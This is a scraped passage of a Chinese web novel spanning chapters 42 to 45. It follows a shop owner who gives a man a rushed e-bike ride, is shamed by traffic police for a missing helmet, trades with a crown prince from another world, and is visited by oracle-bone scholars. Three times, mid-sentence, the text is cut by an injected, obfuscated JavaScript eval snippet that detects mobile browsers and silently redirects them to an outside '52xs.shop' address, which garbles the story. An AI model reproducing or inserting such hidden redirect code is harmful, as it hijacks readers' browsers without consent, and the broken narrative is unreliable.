萧妧妧动作利落地戴上头盔，跨上座垫，瞥到黎行墨回越野车旁去叫人，趁着间隙查导航。 确认定位，固定好手机，萧妧妧还没等到人，看一眼时间，已经八点三十，再磨蹭下去就是飞也赶不上。 萧妧妧按捺不住回头催促的时候，黎行聿已经抱着电脑站在史努比旁边。 他垂眸打量着史努比，眉峰微蹙，神情明显在犹豫。 黎行墨在一旁稍显雀跃的叽叽喳喳，“时间来不及了，哥你快上车，萧小姐答应送你一程。” 黎行聿沉默不语，抬起手腕看表，而后，目光移向面前的镭射紫史努比上，再缓缓移向放置在座垫上的同色头盔，眉头蹙得更紧了。 萧妧妧看出他的顾虑，轻声为史努比辩解：“别看不起史努比，它跑得很快的。” 黎行聿没纠正她，像是下了某种决心，颔首道：“麻烦你了，萧小姐。” “不麻烦。”萧妧妧好心情的回应。 黎行墨懒得听她算账，直接转账五万，赶上半年的营业额了，而她付出的只是骑史努比载人，太划算了。 萧妧妧以为马上就能走，后座迟迟没有动静，她偏头，恰好对上黎行聿茫然的目光。 “跨上来，像骑马那样，黎先生骑过马吧？” 萧妧妧瞬间洞悉他的窘迫，电动车都没骑过的人，可以理解。 “我明白了，”黎行聿：“抱歉。” 他拿走造型别致的头盔丢给黎行墨，一手轻轻撑在萧妧妧肩头，笔直修长的腿稍稍向上一抬，整个人轻松落在后座上。 一百大几十斤的大高个骑上来，可怜的史努比摇晃两下才顽强站稳。 “速度会比较快，黎先生可以抓后面的扶手，脚踩在两侧的脚踏上，”说到扶手，萧妧妧注意到他手里的笔记本，扭身伸手，“不介意的话，笔记本可以放在前面。” 看到萧妧妧伸手，黎行聿顺从地递出电脑，递出去后微微愣神。 “黎先生抓好，我要启动了。” 看到黎行聿用一种略显僵硬的姿势坐稳，萧妧妧想提醒一句，坐电动车不需要优雅，可以随意一点，想了想没说出口。 再三确认他抓稳了，萧妧妧放心地旋动把手，史努比嗖一下冲出去。 速度出乎预料的快，这让开车追求平稳，车速永远保持在四十码及以下的黎行聿很不适应，浑身不自觉绷紧。 “哥，萧小姐，你们注意安全啊。” 落单的黎行墨像得到自由的孩子，兴奋摇手。 后视镜里，黎行墨的身影越来越小，直到化成小黑点。 史努比开到隧道附近，非机动车道格外拥堵，萧妧妧另辟蹊径，灵活地操纵史努比左突右闪。 “这段路不好走，黎先生一定要抓稳了。” 蹊径难免颠簸，趁着排队等通过，萧妧妧特意回头知会他一声。 黎行聿闻言嗯一声回应，紧抓扶手不敢放松，两臂因用力微微鼓起，肌肉撑紧衬衫衣料。 靠近隧道正上方，萧妧妧看到了拥堵的源头，果然不出她所料，隧道严重积水。 已经有七八辆轿车困在水中抛锚，偏偏几条车道堵得严严实实，抢救难度翻倍，不知道什么时候能恢复畅通。 萧妧妧担心他着急，信誓旦旦向他保证，“住在老城区会经常出现这种情况，尤其夏天多雨，这时候电动车会比机动车更方便，黎先生你放心，肯定不会让你迟到。” 反正钱已到手，就算迟到她也不会全额退款，最多一半，不能再多了。 黎行聿低声说了句谢谢。 知道他赶时间，萧妧妧一路上争分夺秒，电动车开出赛车的架势，几次急停差点让通话中的黎行聿拿不稳手机。 “黎先生，腿收一下，容易蹭到受伤。” 萧妧妧几次想从车流中穿插过去，都因黎行聿的大长腿导致她无法顺利通过，被迫选择避让。 反复几次，不仅耽误时间，还影响她驾驶，她只能委婉提出请求。 黎行聿隐约听到她是在跟自己说话，可风声在耳畔呼呼作响，吹偏了话语，听不真切。 他稍稍俯下身，脑袋凑到萧妧妧肩旁，请她再说一次，“不好意思，可以再说一遍吗？” 萧妧妧放慢语速，重新复述了一遍，黎行聿配合地并拢腿，方便她操作。 萧妧妧迟钝发觉，还不如不并拢呢，有种被包围的尴尬，胳膊稍微活动一下就能戳到他大腿似的。 但她很快顾不上尴尬，想插队走在她前面的车子太多了，萧妧妧必须专心。 越靠近CBD方向，非机动车道越不好走，萧妧妧接连几次急刹车。 每一次急刹， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491467|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都让黎行聿努力维持的安全距离一点点地缩短，直至归零，双腿再稍一收拢，显得过于亲密。 黎行聿艰难地保持着上半身向后仰的姿势，免得贴她太近。 “吱——” 路过十字路口抢红灯，一辆电瓶车从侧面冲出来，萧妧妧再次急刹避让，刚接通电话的黎行聿防备不及，咚得一下撞上萧妧妧后背。 “抱歉。” 黎行聿给电话那头丢下一句“晚点再说”，匆匆挂断电话向她道歉。 萧妧妧也没想到冲击力这么强，像一块大石头甩过来，她扶正头盔，看到后视镜里的黎行聿肉眼可见的不自在，软和了语调向他解释。 “是我刹车太急，路上车多的时候很正常，习惯就行。对了，黎先生你还好吧？” 黎行聿观察了一阵，插队、急刹、倒退、逆行、闯红灯、左右穿插……各种乱象层出不穷，全然不顾交通规则，也不顾及自己和他人的安全。 萧妧妧的驾驶风格在其中算是比较稳的那一波。 黎行聿费解的问：“电动车都是这么……” 他找不到恰当的词来形容，或许有但不合适在此刻说出口，话音停顿。 萧妧妧心领神会，自动接上，“你是想说野蛮？不讲规则？或者霸道？无序？” 她一口气说出了一连串的贬义词，黎行聿想解释，“不、我不是那个意思，我是说……” 他想用更为温和委婉的词语代替，最后还是哑了声。 萧妧妧一边注意哪里有空隙可以见缝插针，一边开口吐槽，“黎先生不用不好意思，事实情况是这样，大家都这么说。 电动车多，车道却狭窄，加上大家赶时间，所以会有些混乱，黎先生第一次坐电动车，不习惯很正常。” 萧妧妧挺怕赶在早晚高峰期出门的，不讲道理的人太多了。但除了下雨天外，她挺喜欢电动车出行的，尤其在老城区，特别便捷。 黎行聿轻轻嗯了一声，不再开口，恰好红灯过去，萧妧妧专心驾驶。 还有两个路口就能进入CBD区域，三个路口就能到黎明大厦，萧妧妧不禁感叹这五万赚得真容易。 然而不到两分钟，一辆逆行的电动车与她擦肩而过，大声提醒：“前面有交警！” 这一声吼，并行的几辆电动车纷纷调转车头。 黎行聿看大家敏捷地逃窜，不解问：“交警查什么？” “查头……”话没说完，自信满满的萧妧妧直接自闭了，她多看一眼后视镜确认什么，忍不住提高嗓门，“你头盔呢？” 黎行聿有了不妙的预感，心虚说：“我也要戴那个……头盔？” 镭射紫、狗耳朵，那顶令人绝望的头盔，黎行聿无视了它。 萧妧妧的语气绝望极了，“当然，就是载了只狗也要戴。” 视角关系，她最多能从后视镜里看到黎行聿的五官，头顶真没怎么注意，要不是她刚刚想起来检查一下，估计没那么容易发现。 黎行聿：…… 一片沉默中，最绝望的情况发生了。 交警不仅注意到了镭射紫史努比，还一步步向两人走来，挥手示意他们下车，她根本来不及撤退。 萧妧妧垂下脑袋，唉声叹气，接受现实后，认命的下车。 黎行聿不懂她为什么这样一副表情，“是需要罚款吗？我来负责吧。” 萧妧妧苦笑，“我宁愿是罚款……” 黎行聿更加困惑了，眉梢轻挑。 萧妧妧冲他耸肩，坚强微笑。 社死嘛，她熟。 43. 第 43 章 交警一步步走近，引导萧妧妧推车到人行道上，避让过往车辆。 萧妧妧边乖乖跟上，边偷觑交警脸色，不死心的问：“……可以选择罚款吗？” 交警看她一脸生无可恋，好笑的开口教育：“你说呢？大老远就看到你们了，真嚣张啊，不戴头盔还敢往前面挤，我拦下你们是为你们安全着想，不止是驾驶的人，乘客也要戴头盔。” 萧妧妧忙不迭点头，乖巧的连声附和。 黎行聿完全不明白事情的严重性，淡定又茫然地等待交警处理。 交警伸手，示意萧妧妧交出手机。 萧妧妧瘪瘪嘴，可怜兮兮的恳求：“警察叔叔，可不可以不拍照啊，家里人不知道我在外面干这个。” 黎行聿听得眉头紧皱，强忍着没打断她。 交警失笑，“不想拍照下次记得戴头盔。”然后招了招手，催促她。 萧妧妧欲哭无泪，她自己是知道规矩的，这不是出了意外，载一个没坐过电动车的人。 想到这里，她气不打一处来，头盔明明放在后座垫上，那么显眼，有点眼力见的人都能明白意思，黎行聿完全无视。 别以为她不知道，黎行聿明摆着是在嫌弃。 萧妧妧暗戳戳的问：“是只有我需要拍吗？还是我们各自拍一张。”暗示意味十足。 要社死一起社死，谁也别想逃！ 交警抽走她的手机，又示意黎行聿递来手机，“两人一起，先到五十赞的可以离开。” 黎行聿不妙的预感更加强烈了，不解的问：“五十赞是什么意思？” 萧妧妧冲交警叔叔笑了笑，“他是第一次坐电动车，第一次被交警拦下，不知道我们这里的规矩。” 交警打量他一眼，完整解释一遍规定，“南市整治电动车出行不戴头盔的乱象，被拦下的驾驶人和乘客需要拍照发朋友圈，集齐五十个赞才能走。” 黎行聿身形僵硬，神情有一瞬间空白。 交警硬生生抽走了黎行聿手机，随后递来一块牌子示意他们接住。 “站近点，把脸露出来。” 黎行聿凝视着印有“我不戴头盔，大家别学我”的标牌，眉头皱出一个深刻的川字。 “不可以选择罚款吗？”他再次确认。 交警看出他的局促，狠心摇头。 萧妧妧怯怯举手，弱声问：“……可以用美颜吗？今天出门没化妆。” 何止没化妆，头发也没洗，因为起迟了，衣服是随手从衣柜里扯的一件旧T恤，谈不上穿搭。 她要以这副尊容面对朋友圈众位观众，想发癫的心都有了。 交警没说话，瞥了她一眼，什么意思不言而喻，萧妧妧不由垮下肩膀。 美颜没可能，什么蹲下仰拍内扣四十五度……的要求，更不用想。 萧妧妧高举起牌子，试图挡住脸，然而交警很快看穿她的小心思，制止了她。 黎行聿偏头望一眼身侧的镭射紫大脑袋，萧妧妧的抗拒赤裸裸写在脸上，明媚灵动的狐狸眼低垂着，整个人像褪色一样黯淡下来。 “抱歉，我不知道不戴头盔要……我会想办法补偿你。” 面对黑历史见证者以及罪魁祸首，萧妧妧不太想和他说话，有气无力地摆摆手，拒绝了他的补偿提议。 黎行聿止又欲言，交警已然走来，打断了他。 “行了，按照标牌下面那段话发条朋友圈，你们先等着，到了五十个赞给我看一眼。” 萧妧妧接过手机根本没勇气看，第一时间警告他：“不许看照片，看到也请忘掉。” 至少不能当着她的面看，萧妧妧真的会当场表演钻地缝。 黎行聿好脾气的应声，退出相册。 萧妧妧勉强满意。 抱着破罐破摔的态度，她闭着眼睛按下发布，跳转到相亲相爱一家人的聊天群，号召姐姐妹妹哥哥弟弟点赞。 为了集齐五十个赞，萧妧妧能屈能伸，连三婶王翠菊一起骚扰。 她也不想的，算上刚添加的黎行墨，她的好友数量总共一百出头，集齐五十赞太难了。 三婶净给她添堵，是时候派上用场。 “……萧小姐，可以麻烦你帮我设置一下朋友圈吗？”黎行聿略显为难的开口。 萧妧妧是发朋友圈的熟练工，流程已经走到等赞的步骤，转头一看，黎行聿那里才打开月亮号，等她接过手机再一看，好家伙，人家根本没有朋友圈。 准确的说是不用朋友圈，直接不显示朋友圈这个功能，需要操作几下设置开通。 萧妧妧同情地望了他一眼，第一条朋友圈就是黑历史，一时间分不清谁更倒霉。 手机品牌和型号很陌生，萧妧妧操作得不太顺畅，耽误了一会时间研究，等她修改完设置，手机递还回去，她收到了二十个赞，甩开黎行聿一大截。 萧妧妧看一眼时间，九点零八，最迟九点二十要离开这里。 黎行聿表情和情绪都挺平淡，也没见他催促过，卡皮巴拉一样的稳定，根本看不出来急不急，相比起来，反倒是萧妧妧这个太监更显得着急。 她背着双手，小老头一样来回踱步，隔一会看一眼手机，看一眼手机，叹一口气。 “我有五十个赞了。” 等了没两分钟，黎行聿进度反超，先一步完成任务，萧妧妧一惊，忙低头看自己的。 不去管哈哈哈的评论，只看赞，总共四十八，然而能摇到的人都齐了，萧妧妧想不到找谁凑数。 “差几个？”黎行聿看向暗自着急的萧妧妧。 萧妧妧急得快冒汗了，“两个。” 黎行聿直接递出手机，“扫一下。” 萧妧妧有种得救的感觉，哦了一声，乖乖照做。 新好友添加，没一会，朋友圈显示新增两个点赞，刚刚好五十个。 萧妧妧一下子活泼起来，欢呼一声，举起手机炫耀，“警察叔叔，齐了！” 一边欢呼，她一边截图保存，防止出现意外。 交警核对数量后又教育了他们几句才放行，萧妧妧长舒一口气，马不停蹄跑回史努比旁边。 “快上车，时间还来得及。” 黎行聿熟练地跨上坐垫，等史努比摇晃两下重新稳住，萧妧妧嗖一下冲出去。 路上电动车少了大半，萧妧妧加速通过，才穿过一个路口，风驰电掣地史努比突然萎了，速度缓慢的向前挪动。 黎行聿：“它怎么了？” 萧妧妧笑容勉强，“好像……没电了。” 昨晚回去的迟，她不好弄出大动静，便没想起来充电。 当然，这不是主要原因，是她没想到今天会骑这么远。 萧妧妧急得抓耳挠腮，发现头顶戴着头盔，挠不到，更急了。 眼看着离目的地也就两个路口的距离，不远不近，萧妧妧用上了老法子。 “宝贝加油~马上就到啦，姐姐回去给你充电，充满满的电。” “宝贝真厉害，再坚持一下，只要一下下~” “我只和宝贝最要好，其他电动车加起来比不上你一个轮子！” “我最喜欢宝贝了，宝贝你一定要坚持住啊。” 她一改柔软声调，掐着嗓子挤出甜腻声线。 黎行聿不想质疑她的，但…… “……这是你想到的办法？” 萧妧妧抽空偏头，恢复正常语调，煞有介事的说：“对啊，你别不信，万物有灵。” 然后赶紧转过头，不带一丝磕绊的切换甜腻嗓音，“宝贝太优秀了~又走了十米呢，再努努力，咱们一鼓作气好不好？” 黎行聿揉了揉酥痒的耳廓，正想打断她，恰好这时，电动车好像突然通电似的，速度逐渐加快。 黎行聿：？ 萧妧妧仰头，冲黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494078|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行聿挤了挤眼睛，一副“我没骗你吧”的得意模样，欢快的说：“我的宝贝太厉害啦，怎么能这么厉害，你太让姐姐长脸了。” 黎行聿摸了摸鼻尖，没作声。 浮夸的赞美中，史努比成功抵达定位地点——黎明大厦广场前，时间才走到九点二十。 史努比一停下，黎行聿迫不及待翻下车，“萧小姐可以进大厅稍等一会，我安排人送你回家。” 萧妧妧习惯性要和他客气，想起她现在没有客气的资本。 “好啊，谢谢黎先生，”视线偏移，她看到有过一面之缘的秘书先生带着几位助理赶来，萧妧妧不好再耽误他时间，指了指后方，“你快进去吧，有人来找你，路上小心。” 黎行聿也看到了他们，匆匆向她颔首道谢，大迈步与秘书助理们汇合，在他们的簇拥下迈进高耸入云的办公楼。 人影走远，萧妧妧顿时双手捧心，幸福微笑。 五万块成功拿下！ 同样是挣钱，萧妧妧解释不清，为什么会觉得三次元挣到五万，比从小说位面的客人那里挣十万要开心很多。 笑容只维持了两秒不到，萧妧妧低呼一声完蛋，飞快掏出手机。 果然，照片丑得出奇。 一米六八的身高不算矮，但有黎行聿做参照，显得她特别矮墩墩，再有阴沉天气加持，冷白的旧T恤补刀，萧妧妧感觉照片里的自己灰扑扑。 恨恨地删掉照片，萧妧妧戳进翻找黎行聿的朋友圈。 她添加了两个账号，应该是黎行聿的工作号以及私人号，两个头像一个是蓝天，一个是捷克狼犬的狗头。 戳开狗头账号的朋友圈，不出意外是私人号，因为她看到共同好友黎行墨点赞并评论。 评论区数他最显眼，留下一长串的哈，吵得眼睛疼。 萧妧妧措辞片刻，给黎行聿发去一条留言，恳切请求他抽空删朋友圈，照片一定要删除并清空。 黎行聿没回复，应该是在忙，萧妧妧不敢想这几分钟有多少人看到了她的黑照，心里郁闷。 “铃铃铃” 萧妧妧等回复的时候，黎行聿发来了语音通话邀请。 不是吧，他不会连朋友圈怎么删都不知道吧……萧妧妧嘀咕一会，接通电话，“黎先生？” 黎行聿那里声音吵杂，没一会，吵杂声消失，黎行聿的声音响起. “萧小姐还在楼下吗？刚才走得匆忙，电脑落在你那里，我的秘书已经下楼了，你把电脑交给他就好。” 萧妧妧一拍脑门，懊恼道：“好的，黎先生放心。” 挂断电话，萧妧妧抽出笔记本电脑，抱起它往大厦的旋转门跑。 几乎是刚到门口，秘书先生小跑着迎上来，接走笔记本，客气与她道谢。 “萧小姐稍等一会，司机很快过来。” 秘书先生着急，急匆匆道谢急匆匆离开，留下的助理负责招待她，请她在会客区稍坐，递来茶水，陪她等司机。 叮咚一声，黎行聿回消息了。 -收到 简短的回复跃入眼帘，莫名戳中萧妧妧笑点，耸动肩头闷笑一会，回他一个猫猫敬礼的表情包结束本次聊天。 退出聊天框，萧妧妧又去他朋友圈看了一眼，已经删除，看不到一点痕迹。 萧妧妧浑身轻松，转而回应家族群里的消息。 大伯母：妧妧找对象了？个子真高啊，长得也好看，什么时候带回家啊？ 大伯：出去约会好好打扮一下，你看看你穿的，啧啧。 张芸：难怪王翠菊说你天天往外跑，我以为她在放屁。这小伙不错，看着精神，能把白衬衫穿得好看的男孩子长得都不差。妈同意你往外跑了，好好约会，店铺妈给你看着。 大堂姐：头盔不错，链接发我。 小堂妹：洞洞鞋好看，链接发我。 萧妧妧瞬间失去了笑容。 44. 第 44 章 萧妧妧的无语不止一点点，唯一庆幸的是，大家的注意力全放在黎行聿身上。 她费了大力气解释，屏幕敲得哒哒哒响，勉强让大家相信她只是出门赚钱。 张芸:小卖部倒闭了吗？需要你出去干滴滴代骑，赶紧回来看店，我忙着呢。 萧妧妧一脸问号，张女士变脸是否太快？ 放下手机没多久，黎行聿安排的司机恰好找来，贴心的帮她搬电动车，助理先生更贴心，前后帮忙，等她上车，目送她离开才转身回去。 提前告知司机师傅老城区隧道积水，他调转车头驶向另一条路，绕远回到月牙巷。 因道路过于拥堵，车子在距离月牙巷三个路口的地方停下，司机师傅特别热心，帮她推电动车到小卖部门口。萧妧妧想表示一下心意，司机师傅连连推拒，小跑着离开。 萧妧妧感叹一番，给电动车充电，再给黎行墨一个反馈。 黎行墨几乎是秒回，发来一个手绘小人捶地大笑的表情包，嘲笑意味十足。 萧妧妧郁闷撇嘴，多看一眼上面的转账记录才让心情好转，退出聊天。 十点整，小卖部正式开始今日份营业。 萧妧妧实在顾不上店铺，挂上无人自助的牌子回到后院。 方叔叔按照约定时间，带人送东西上门，整整十个箱子。 “后面两个房间你打通了？这里用来卖艺术品？” 方叔叔想着自己做过几年生意，正好可以给萧妧妧支支招，哪怕教她怎么把东西摆得好看也行，多少是个心意。 萧妧妧巴不得有人指点他，请方叔叔进门。 “对，两间卧室打通了，大概五十多平吧，够放不少东西。 还好我妈有先见之明，小卖部装修的时候后院跟着翻新一遍，墙面都是干净的，中间的挡板请了装修队过来拆掉，又补了漆，正好这两天散散味。 总得来说没费什么事，现在只等柜台进场。” 方叔叔看着干干净净的宽敞房间，连连点头，“不错，像样子了，柜台要贴边放，不要中间摆着，回头客人碰倒了容易出事，赔不起钱都好说，伤着人事就大了，贵重的东西得仔细摆放，最好多布几个摄像头，还有灯光，你这屋子采光不错，但是开店嘛，多来点射灯照着看着亮堂。” 方叔叔想到哪里说哪里，萧妧妧一一记下。 “萧女士在不在，您定的家具到了，我们从哪送进来？” 正在这时，家具城的工作人员摸上门，方叔叔看她挺忙，摆摆手，溜溜达达回家。 萧妧妧核对过清单，指挥工作人员把展示柜挪进屋子，再配合她的需要调整。 这一通忙，时间过得飞快，已经十二点。 萧妧妧简单吃两口，又要忙着打扫卫生，等垃圾清理干净、展示柜全部擦拭一遍，柜台里铺上软垫，灯光全部打开，看起来真有几分古董铺的样子。 不敢想苏娇娇把东西送来后，这间屋子得有多值钱。 想到这里，萧妧妧去看C大鉴定中心的小程序。 起心动念当天她就联系了机构，当晚把东西简单整理出来寄过去，那两天忙得她腰酸背痛，后来差点给忘了。 点进小程序，看到上面的已寄出标签，萧妧妧踏实了，刚好赶得上开业。 为了让艺术品集合店看起来更丰富，她把苏娇娇送来的金貔貅、两套古墨，申明月的宝石匕首，龙傲天送来的妆匣以及妆匣里的珠钗、翡翠耳饰，玉仁斋转过来的摆件等物，通通摆进去。 关门前她忍不住看了最后一眼，越看越满意。 现在还有一件事需要她解决，艺术品集合店还缺一个响亮的名字。 “取名字？我吗？” 电话那头，云昭昭一脸震惊，不敢相信妧妧姐会交给她这么重要的任务。 萧妧妧重重点头，“对啊，你没听错，取名废实在想不出。” 倒也没有废到那种程度，萧妧妧主要是想蹭蹭云昭昭的女主光环。 云昭昭很高兴妧妧姐对她的信任，一口应下，坐到书桌旁翻书翻字典，争取想出一个惊顾客泣同行的好名字。 被冷落的黎行墨很不满，他好不容易从外甥女手上抢到人，还从季随那个心机男那里转移她的注意力，结果输在萧妧妧手上。 “学长……我现在有正经事要做。”云昭昭红着脸推开他。 “难道我的事不正经？”黎行墨垂眸，一副可怜巴巴的样子，“你查你的，我忙我的，我不会打扰你。” 不等云昭昭开口，他自顾自上前从背后揽住她，含糊不清的在她耳边低语。 黎行墨手段太多了，云昭昭很快无力拒绝，手上的书本什么时候掉在地上也不知道。 萧妧妧莫名地看着电话，怎么说着说着挂断了，想到她应该在黎家，身边有个黎行墨，瞬间破案。 “萧老板，孤的药可准备好了？” 萧妧妧白眼翻到一半，小卖部来客人了，自称孤，一听就是龙傲天。 “早准备好了，等你好几天。”萧妧妧迈步进店，看他穿着常服，关心道：“怎么样？有没有人撺掇你出征？” 龙傲天望向眨着眼睛满怀期待的萧妧妧，面无表情戳穿她，“你不是关心孤，是关心孤的千金。” 萧妧妧当听不懂，嘿嘿笑，请他坐下，为他斟茶。 “老七那里不曾有动静，估摸着是想做得稳妥一点，毕竟没有下毒陷害一事发生，他的提议没那么容易让大家接受，是要好好想个理由，”龙傲天喝下一口白开水，随即露出嫌弃神色，遗憾道：“琉璃杯净透，可惜没配好茶。” 萧妧妧失望片刻，趁机推销：“不可惜，殿下您买了杯子回去自己泡，您的茶叶肯定比我这里好。” 龙傲天把玩片刻，淡淡道：“可。” 萧妧妧抬手，引导他看向身后货架，“确定只要一个杯子吗？” 龙傲天本不打算买东西的，结果转头看见手持镜，当即挪不开眼。 “这镜子……” 龙傲天毕竟是太子，见多识广，他记得母后宫中就有这样一面纤毫毕现的镜子，但与小卖部的手持镜相比，是处处不及。 “嘿嘿，新品上市，买两件打九折。” 萧妧妧得意，这是她精挑细选的古风文创镜子，进店的客人无不是被它迷得晕头转向。 申明月点名要了一百把，她坚信镜子会比清单上面的所有物件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506349|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都好卖，容易拉拢客户，打开销路。 龙傲天放下茶杯，接住萧妧妧递来的样品，左右脸来回照。 “手持镜适合姑娘用，你家里媳妇多，最好是多准备几个，免得为了一个镜子闹起来，惹得家宅不宁，不值得。” 龙傲天瞥她一眼，哼了一声，别以为他没听出她在撺掇他多买点。 “就两把，孤一把，太子妃一把，其他……不给也罢。” 说他渣吧，知道给原配正房送礼物，心里有媳妇，说他不渣吧，他有一个太子妃不够，还有好多侍妾，但他对侍妾并不上心。 萧妧妧摇摇头，打包好两把手持镜递给他，“折后九十两。” 龙傲天爽快掏荷包，竟是全部丢了过来。 “镜子的钱，外加伤药和那个什么饼干的尾款。” 萧妧妧哇喔一声，惊喜地接过荷包，再找来电子秤称重。 “太子殿下太客气了，”萧妧妧按几遍计算器，看到最终数额停在8700克上，笑容越发真诚，“殿下您稍坐，我马上给您准备东西。” 三台小拖车排在结界处，萧妧妧直接从空间放出止血药5000瓶。 龙傲天揉了揉眼睛，不可思议地瞄向萧妧妧。 “别看了，赶紧推回去啊。”萧妧妧催促。 止血药和压缩饼干数量多，仓库塞不下，系统空间解决了大难题，关键是拿取方便，不需要她费力气，太完美了。 龙傲天深深地端详她，面露沉思。 萧妧妧不怕他沉思，就怕他看低了小卖部。 出神片刻，龙傲天很快反应过来，苦哈哈地搬运物资。 等他送还一台拖车，萧妧妧便趁空隙堆放压缩饼干，两人搭配出流水线的感觉。 饼干是按照一万人份吃六顿的量准备，多得离谱，在空间里只有一串数字，真要一箱箱运的时候，是个大工程。 萧妧妧坐在一旁，晃着脚丫看他忙得喘不上气，百无聊赖的时候瞥到结界显示的画面。 “外面是你家？” 阳光正好，洒在案几和瓷瓶上，房中央有一金色大鼎，里面冒出丝丝缕缕白雾，还有各色瓜果。 龙傲天呼哧呼哧喘气，抽空回她，“母后送给孤的温泉别庄，宫城中耳目众多，孤只能在这里藏它们。” 萧妧妧的目光在案几、瓷瓶、屏风等处流连许久，半晌，她露出神秘微笑。 “太子殿下可否帮我一个忙？” 龙傲天狐疑看她，“什么忙？你说来听听。” “咚咚咚” 萧妧妧措辞一番，想要告知自己的打算，紧闭的感应门忽然被人敲响，打断了她即将出口的话。 两人动作一致，循声走出去几步，转头看向大门外。 高矮胖瘦加起来七八人左右，看着都在六十岁左右，个个是老派学者的打扮。 “萧女士在吗？我们是文字博物馆的人，有些事想了解一下。” 随行的中年男人敲一会门，礼貌又客气的冲着门内喊话。 文字博物馆……萧妧妧一拍脑门，恍然大悟，随即生出愕然情绪。 人都找上门了，难不成真让申明月搞到了一百三十万？ 45. 第 45 章 萧妧妧不由庆幸，幸好她谨慎，早早关闭店门，防止客人闯进来。 “我这里有点事，一时半会结束不了，你先回去，晚一点再来，”萧妧妧赶紧催他离开。 龙傲天想也没想的同意了，他快累得不成人样，因为好面子一直在苦撑，萧妧妧的提议正好戳中他的心坎。 龙傲天顾不上礼仪，逃似地回寝室歇息歇息。 等结界恢复成大白墙，假门合拢，周遭看不出半点异样，萧妧妧理了理衣服，打开大门迎接客人。 “我就是萧妧妧，”看到面前几位老学者面露迟疑，萧妧妧请他们进店，“几位是为了前几天的邮件？” 萧妧妧请他们进院子，院中央的木绣球下面有石桌石凳，她再搬来几把椅子，刚好够招待客人。 几位老学者都没想到，他们要找的萧女士竟然这么年轻，但人不可貌相，他们很快回过神，先自我介绍一番。 “是，确实为了邮件来的，萧女士一直没回邮件，我们便想着上门看看。”为首的老学者笑容慈祥，语气温和。 萧妧妧连声说几句抱歉，打开手机一看，果然有来自文字博物馆的邮件。 因为不抱希望，投稿发出后她一直没挂在心上，加上邮箱APP常年是免打扰状态，就更想不起来邮件的事。 “我们不绕弯子了，这次来是想请教萧女士，您为何笃定那些甲骨文就是您所发的几个文字？您破译的依据可否与我们分享分享。” 她不禁反问：“是破译有问题吗？” 老学者连连摇头，略显激动：“不不不，正相反。经过我们委员会的共同验证，在我们收到的破译投稿中，萧女士的破译不仅数量最多，难度最大，同时也是正确率最高的，只是您的破译实在太……所以我们不得不找您讨论一下。” 老学者姓崔，是文字博物馆专家委员会成员，负责甄别投稿，给出最终评判结果。 投稿截止的那天，投稿邮箱总共收到三份邮件，一如既往的无人问津，崔教授看着邮箱心都凉了。 等三份邮件打印出来分发下去，委员会十五名成员共同研读评判与学习，结果前两份论文看了个开头就让他们挑出错误，大家论文所引用的参考资料有几本被证实不成立，这意味着论文毫无价值。 大家唉声叹气的时候，有人注意到了第三份邮件。 按理说，只写答案不给论文的投稿在第一步就该剔除，实在是他们接到的投稿数量少，且出于谨慎的态度，还是决定再仔细看看。 这一看，当即有人发现问题。 委员会成员之一的韩教授正在研究其中一个甲骨文，已经进行了大半年，偏偏卡在的重要关卡过不去，思路像打结一样，他粗略翻看过一遍，一眼瞥到自己的研究。 韩教授出于好奇也是出于莫须有的期待，代入正确答案倒推，结果还真让他打通了思路。 他再按照自己的思路一步步顺下去，得到了和纸上一致的文字，韩教授激动的差点晕倒。 “老崔、老李、老王！你们快看第三份投稿！对了一个，真的有人答对了。” 办公室里，韩教授挨个报告喜讯。 老李喝一口茶：“答对了？就写个字，难道要我们给它证明？” 老王舒展筋骨：“哎呦，连个论文都没有，参考资料也不写，这怎么看啊。” 韩教授看他们一脸不相信的表情，直跺脚：“你们看，这就是我之前的研究，这里是投稿来的，你们看看，是不是对了？对了一个，说不准其他也是对的，哪怕错了也没关系，就当找个新思路。” 几位教授纷纷凑在一起，这一看，还真是。 “等等，这里一共十五个字，咱们大家分分，一人一个。这……哎，不堪入目啊，辛苦大家倒推一下。” 崔教授一发话，大家自然是无话可说，领了文件自己去阅览室翻资料倒推。 起初，没几个人以为真的能顺利推出结果，破译过程是枯燥的，乏味的，也是持久的，耗费精力的，结果越是推演越是觉得有点意思。 因为这点“意思”，大家越发认真专注，甚至于废寝忘食。 “对了！是对的！十三号甲骨文破译出来了！” “老李你别嚎，我也快了，只差一点点……找到了！我的也是对的！” 崔教授揉揉干涩眼睛，再捂着怦怦跳的心口，喝一口浓茶，加速自己的研究。 “嘶……”崔教授在纸上写写画画，时不时翻找书册，没多会，他发出响亮的惊叹声，“竟然对了……一共对了多少字？” 